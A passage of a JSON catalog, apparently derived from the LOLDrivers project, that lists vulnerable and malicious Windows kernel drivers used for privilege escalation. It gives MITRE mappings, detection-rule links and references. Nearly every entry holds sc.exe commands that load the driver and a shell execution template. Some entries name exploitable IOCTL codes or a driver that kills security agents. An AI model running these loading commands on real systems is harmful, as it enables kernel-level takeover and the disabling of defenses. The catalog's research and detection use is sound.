    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-dh-kernel",
    "install": [
      {
        "method": "custom",
        "description": "Load Dh_Kernel.sys kernel driver",
        "commands": [
          "sc.exe create Dh_Kernel.sys binPath=C:\\windows\\temp\\Dh_Kernel.sys type=kernel && sc.exe start Dh_Kernel.sys"
        ]
      }
    ],
    "name": "Dh_Kernel.sys",
    "namespace": "windows:kernel:dh-kernel",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Dh_Kernel_10.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Dh_Kernel_10.sys     type=kernel && sc.exe start Dh_Kernel_10.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Dh_Kernel_10.sys\"\n\n# Dh_Kernel_10.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dh-kernel-10.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/80cbba9f404df3e642f22c476664d63d7c229d45d34f5cd0e19c65eb41becec3.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Dh_Kernel_10.sys binPath=C:\\windows\\temp\\Dh_Kernel_10.sys     type=kernel && sc.exe start Dh_Kernel_10.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-dh-kernel-10",
    "install": [
      {
        "method": "custom",
        "description": "Load Dh_Kernel_10.sys kernel driver",
        "commands": [
          "sc.exe create Dh_Kernel_10.sys binPath=C:\\windows\\temp\\Dh_Kernel_10.sys     type=kernel && sc.exe start Dh_Kernel_10.sys"
        ]
      }
    ],
    "name": "Dh_Kernel_10.sys",
    "namespace": "windows:kernel:dh-kernel-10",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DirectIo.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DirectIo.sys type=kernel && sc.exe start DirectIo.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DirectIo.sys\"\n\n# DirectIo.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-directio.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create DirectIo.sys binPath=C:\\windows\\temp\\DirectIo.sys type=kernel && sc.exe start DirectIo.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-directio",
    "install": [
      {
        "method": "custom",
        "description": "Load DirectIo.sys kernel driver",
        "commands": [
          "sc.exe create DirectIo.sys binPath=C:\\windows\\temp\\DirectIo.sys type=kernel && sc.exe start DirectIo.sys"
        ]
      }
    ],
    "name": "DirectIo.sys",
    "namespace": "windows:kernel:directio",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DirectIo32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DirectIo32.sys type=kernel && sc.exe start DirectIo32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DirectIo32.sys\"\n\n# DirectIo32.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-directio32.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create DirectIo32.sys binPath=C:\\windows\\temp\\DirectIo32.sys type=kernel && sc.exe start DirectIo32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-directio32",
    "install": [
      {
        "method": "custom",
        "description": "Load DirectIo32.sys kernel driver",
        "commands": [
          "sc.exe create DirectIo32.sys binPath=C:\\windows\\temp\\DirectIo32.sys type=kernel && sc.exe start DirectIo32.sys"
        ]
      }
    ],
    "name": "DirectIo32.sys",
    "namespace": "windows:kernel:directio32",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create directio32_legacy.sys binPath=C:\\\\windows\\\\temp\\\\directio32_legacy.sys type=kernel && sc.exe start directio32_legacy.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver directio32_legacy.sys\"\n\n# directio32_legacy.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-directio32-legacy.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-directio32-legacy",
    "name": "directio32_legacy.sys",
    "namespace": "windows:kernel:directio32-legacy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create directio64.sys binPath=C:\\\\windows\\\\temp\\\\directio64.sys type=kernel && sc.exe start directio64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver directio64.sys\"\n\n# directio64.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-directio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-directio64",
    "name": "directio64.sys",
    "namespace": "windows:kernel:directio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ditpio64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ditpio64.sys type=kernel && sc.exe start ditpio64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ditpio64.sys\"\n\n# ditpio64.sys\n\nditpio64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ditpio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ditpio64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create ditpio64 binPath=C:\\windows\\temp\\ditpio64.sys type=kernel && sc.exe start ditpio64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-ditpio64",
    "install": [
      {
        "method": "custom",
        "description": "Load ditpio64.sys kernel driver",
        "commands": [
          "sc.exe create ditpio64 binPath=C:\\windows\\temp\\ditpio64.sys type=kernel && sc.exe start ditpio64"
        ]
      }
    ],
    "name": "ditpio64.sys",
    "namespace": "windows:kernel:ditpio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dkrTK.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dkrTK.sys type=kernel && sc.exe start dkrTK.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dkrTK.sys\"\n\n# dkrTK.sys\n\nThe User Agent tjr.exe, which is protected via a virtual machine, drops the kernel driver to the user temporary directory C:\\%User%\\AppData\\Local\\Temp\\Ktgn.sys. It then installs the dropped driver with the name ktgn and the start value = System (to start when the system restarts). From our analysis of what occurs when a user interfaces with this driver, we observed that it only uses one of the exposed Device Input and Output Control (IOCTL) code — Kill Process, which is used to kill security agent processes installed on the system.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dkrtk.md",
    "author": "Will BushidoToken",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The User Agent tjr.exe, which is protected via a virtual machine, drops the kernel driver to the user temporary directory C:\\%User%\\AppData\\Local\\Temp\\Ktgn.sys. It then installs the dropped driver with the name ktgn and the start value = System (to start when the system restarts). From our analysis of what occurs when a user interfaces with this driver, we observed that it only uses one of the exposed Device Input and Output Control (IOCTL) code — Kill Process, which is used to kill security ...",
    "execution": {
      "template": "sc.exe create dkrTK.sys binPath=C:\\windows\\temp\\dkrTK.sys type=kernel && sc.exe start dkrTK.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-dkrtk",
    "install": [
      {
        "method": "custom",
        "description": "Load dkrTK.sys kernel driver",
        "commands": [
          "sc.exe create dkrTK.sys binPath=C:\\windows\\temp\\dkrTK.sys type=kernel && sc.exe start dkrTK.sys"
        ]
      }
    ],
    "name": "dkrTK.sys",
    "namespace": "windows:kernel:dkrtk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver/indicators-blackcat-ransomware-deploys-new-signed-kernel-driver.txt"
      },
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DNDrv binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DNDrv.sys type=kernel && sc.exe start DNDrv\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DNDrv.sys\"\n\n# DNDrv.sys\n\nDNDrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dndrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "DNDrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create DNDrv binPath=C:\\windows\\temp\\DNDrv.sys type=kernel && sc.exe start DNDrv",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-dndrv",
    "install": [
      {
        "method": "custom",
        "description": "Load DNDrv.sys kernel driver",
        "commands": [
          "sc.exe create DNDrv binPath=C:\\windows\\temp\\DNDrv.sys type=kernel && sc.exe start DNDrv"
        ]
      }
    ],
    "name": "DNDrv.sys",
    "namespace": "windows:kernel:dndrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dpMemIO binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dpmemio.sys type=kernel && sc.exe start dpMemIO\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dpmemio.sys\"\n\n# dpmemio.sys\n\nET&T Technology Co., Ltd. dpmemio.sys (ClevoECView) is a 12KB driver with only 9 imports that provides completely unrestricted arbitrary physical memory read/write and I/O port access with no authentication, no ACL, no address validation, and no size validation. MmUnmapIoSpace is not even imported, meaning every MmMapIoSpace call permanently leaks a system PTE mapping. An additional bug exists where MOVSXD sign-extension on a 32-bit UserBufferPtr provides a write-to-kernel-VA primitive. IOCTLs exposed via \\\\.\\dpMemIO include 0xC80A2420 (arbitrary physical memory READ via MmMapIoSpace), 0xC80A2424 (arbitrary physical memory WRITE via MmMapIoSpace), 0xC80A2410/0xC80A2414 (I/O port read/write byte), 0xC80A2418/0xC80A241C (I/O port read/write variable size), and 0xC80A2428 (version/ping). VeriSign signed with a revoked certificate.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dpmemio.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ET&T Technology Co., Ltd. dpmemio.sys (ClevoECView) is a 12KB driver with only 9 imports that provides completely unrestricted arbitrary physical memory read/write and I/O port access with no authentication, no ACL, no address validation, and no size validation. MmUnmapIoSpace is not even imported, meaning every MmMapIoSpace call permanently leaks a system PTE mapping. An additional bug exists where MOVSXD sign-extension on a 32-bit UserBufferPtr provides a write-to-kernel-VA primitive. IOCTL...",
    "execution": {
      "template": "sc.exe create dpMemIO binPath=C:\\windows\\temp\\dpmemio.sys type=kernel && sc.exe start dpMemIO",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-dpmemio",
    "install": [
      {
        "method": "custom",
        "description": "Load dpmemio.sys kernel driver",
        "commands": [
          "sc.exe create dpMemIO binPath=C:\\windows\\temp\\dpmemio.sys type=kernel && sc.exe start dpMemIO"
        ]
      }
    ],
    "name": "dpmemio.sys",
    "namespace": "windows:kernel:dpmemio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/288"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/7cf6881e43337c288b1883fafb234146a450ff94388aee395e05e36202c5afbb"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/cd631c54fe1375e4bdd2f63b58bd106066eeee267fc77b3161ceb023ab5fddda"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_c3d48ddd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_090d409f.sys\"\n\n# driver_090d409f.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-090d409f.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-090d409f",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_090d409f.sys kernel driver",
        "commands": [
          "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys"
        ]
      }
    ],
    "name": "driver_090d409f.sys",
    "namespace": "windows:kernel:driver-090d409f",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_099ef491.sys\"\n\n# driver_099ef491.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-099ef491.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-099ef491",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_099ef491.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_099ef491.sys",
    "namespace": "windows:kernel:driver-099ef491",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_0a636606.sys\"\n\n# driver_0a636606.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-0a636606.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-0a636606",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_0a636606.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_0a636606.sys",
    "namespace": "windows:kernel:driver-0a636606",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_0ffb4081.sys\"\n\n# driver_0ffb4081.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-0ffb4081.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-0ffb4081",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_0ffb4081.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_0ffb4081.sys",
    "namespace": "windows:kernel:driver-0ffb4081",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_c3d48ddd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_146b8f4f.sys\"\n\n# driver_146b8f4f.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-146b8f4f.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-146b8f4f",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_146b8f4f.sys kernel driver",
        "commands": [
          "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys"
        ]
      }
    ],
    "name": "driver_146b8f4f.sys",
    "namespace": "windows:kernel:driver-146b8f4f",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_d9f15d91.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_16773074.sys\"\n\n# driver_16773074.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-16773074.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
